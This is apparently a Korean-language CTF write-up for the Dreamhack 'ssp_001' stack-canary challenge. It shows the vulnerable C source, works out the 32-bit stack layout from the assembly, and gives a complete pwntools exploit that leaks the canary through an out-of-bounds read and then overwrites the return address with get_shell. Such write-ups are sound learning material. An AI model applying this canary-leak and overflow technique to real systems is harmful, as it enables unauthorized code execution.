나름 오랜만에 롸업을 써 봅니다. 꾸준히 공부하고 싶은데..
교양보다 내가 하고싶은 공부를 하고 싶어요.
서론
이번 문제는 Stack Canary에 관련된 문제 ssp_001입니다. 이 문제를 풀면서 어셈블리를 봐야하는 중요성을 꽤 느꼈습니다.
checksec을 하면 이렇게 나타납니다. NX로 인해 쉘코드를 삽입할 수 없고, Canary found이므로 오버플로우 시에 Canary를 고려해야합니다. 또한 32비트 파일이네요.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
ssp_001.c 파일입니다. (이번에 ㅎㅎ 터미널 좀 예쁘게 만들었는데 담에 올려야겠네요)
프로그램을 실행하면 menu 함수가 실행되면서
[F]ill the box
[P]rint the box
[E]xit
>
이런 화면이 나타납니다.
그냥 while 무한루프에서 F를 입력하면 box에 값을 넣고,
P를 입력하면 idx를 받은 다음에 해당 box 배열의 해당 인덱스 값을 읽어들이고(16진수로)
E를 입력하면 size를 받고 그 사이즈만큼 name 배열에 read 합니다.
여기서 코드를 읽고 주목한 부분은 P와 E부분입니다.
이전에 Return to Shellcode라는 문제를 풀 때 Canary를 릭 했기 때문에 (읽어들여서 그대로 오버플로우시에 쓴다는 뜻..?)
여기서도 릭 하는 아이디어가 있어서 그렇게 생각했습니다.
P를 통해서 idx를 box보다 큰 값으로 입력해서 canary를 읽어들일 수 있고 그 읽어들인 canary를 덧붙여서
E에서는 read사이즈를 사용자가 정하기 때문에 overflow가 일어나기 쉽다고 생각했습니다.
그래서
1. P를 반복해서 canary를 릭한다.
2. canary를 고려해서 E에서 사이즈를 크게 설정하고 overflow해서 ret를 get_shell 함수로 덮는다.
이런 시나리오를 생각했습니다.
본론
이번 문제를 풀면서 어셈을 확인해야한다고 생각하게 된 점이 있습니다.
위 코드에서 변수의 선언 순서는
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
이렇게 되어 있습니다. 그 동안 먼저 선언하면 ebp(sfp)에 가까이. 그러니까 (스택이 높은 주소에서 낮은 주소로 자라니까) 스택에 먼저 들어간다고 생각했습니다.
그래서 코드만 보고
스택 프레임에서 이런 메모리 구조를 가질 것이라 생각했습니다. 근데 P를 통해서 64(0x40), 65, 66 등을 입력해도 계속 00이 출력되길래 알고있던 순서와 다를 것이라 생각했습니다.
혹시 알고있던 순서가 잘못되었나 싶어서 test를 하나만들어두고 IDA로 열어봤습니다.
test에서는 맞는데.. 흠..
각설하고 다시 ssp_001로 돌아가서 ida로 한번 봤을 때도 그렇고
ida 사용에 익숙치도 않고 어셈을 보는 것에 익숙해지고자 어셈블리를 봤을 때에도
어셈블리에서 cmp eax, 0x46하는게 0x46이 F이므로 case F 부분
cmp 0x45는 E이므로 case E 부분
F 먼저 따라가보면 box는 ebp-0x88이고
name은 ebp-0x48이라는 걸 짐작할 수 있습니다.
여기서 또 의문은 Canary가 32비트에서 4byte인데 왜 0x44, 0x84가 아니라 4바이트를 더 차지했냐인데,
여기서도 어셈을 보면 알 수 있습니다. dummy가 있다는 걸요.
함수 앞 부분에서 gs:0x14 부분이 canary와 관련있어 보였습니다. 64bit에서는 fs:0x28이었으니까요. 뭔가 비슷..?
그래서 ebp-0x8에 canary가 저장된다고 생각했고
함수 끝 부분에서 확신했습니다.
Canary가 같은 지 확인하는 부분인데, DWORD PTR을 했기 때문에 ebp-0x8부터 4바이트를 읽습니다.
그래서 최종적인 메모리 구조를 생각할 수 있습니다. IDA보다 이렇게 찾아가면서 하는 것도 재밌네요 ㅎㅎ
Exploit Code
서론에서 설명한 시나리오와 본론의 메모리 구조를 통해 다음과 같은 코드를 작성했습니다.
from pwn import *
# p = process('./ssp_001')
p = remote('host1.dreamhack.games', 21399)
canary = b''
get_shell = 0x080486b9
for i in range(0x83, 0x7f, -1) :
p.sendafter('> ','P') #read
p.sendlineafter(' : ', bytes(str(i),'utf-8')) #scanf
p.recvuntil(' : ')
canary += p.recv(2)
# print(p.recv(2))
canary = int(canary,16)
print('canary : 0x%08x'%canary)
payload = b''
payload += b'\x90' * 0x40
payload += p32(canary)
payload += b'D'*4 #dummy
payload += b'S'*4 #sfp
payload += p32(get_shell) #ret -> get_shell
p.sendafter('> ', 'E')
p.sendlineafter(' : ', '200')
p.sendafter(' : ',payload)
p.interactive()
음 코드를 작성할 때 주의할 점은 scanf는 sendline을 쓰고 read는 send를 사용하는 점입니다.
그리고 for문을 반복할 때 canary 값을 읽어서 리틀 엔디언(p32 함수를 통해)으로 바꿀 것이므로 canary를 null부터가 아니라 큰 인덱스에서 작은 인덱스로(null이 마지막에 오도록) 읽어들였습니다.
for문을 사용할 때 숫자를 byte 형식으로 보내고자
https://codechacha.com/ko/python-convert-string-to-bytes/
를 참고해서 문자열로 바꾸고 다시 byte로 자료형을 바꾸었습니다.
payload는 name 배열을 overflow할 것이므로 0x40을 NOP로 채우고 뒤에 릭 했던 Canary, 그리고 더미, SFP, 마지막으로 gdb에서 info func하면 나오는 get_shell의 주소를 대입했습니다.
sendafter, recvuntil에 관해서는 pwntools 사용에 관한 글을 찾아보면 좋을 것 같네요.
긴 글 읽어주셔서 감사합니다. 왜 저런지 아시는 분은 좀 알려주세용..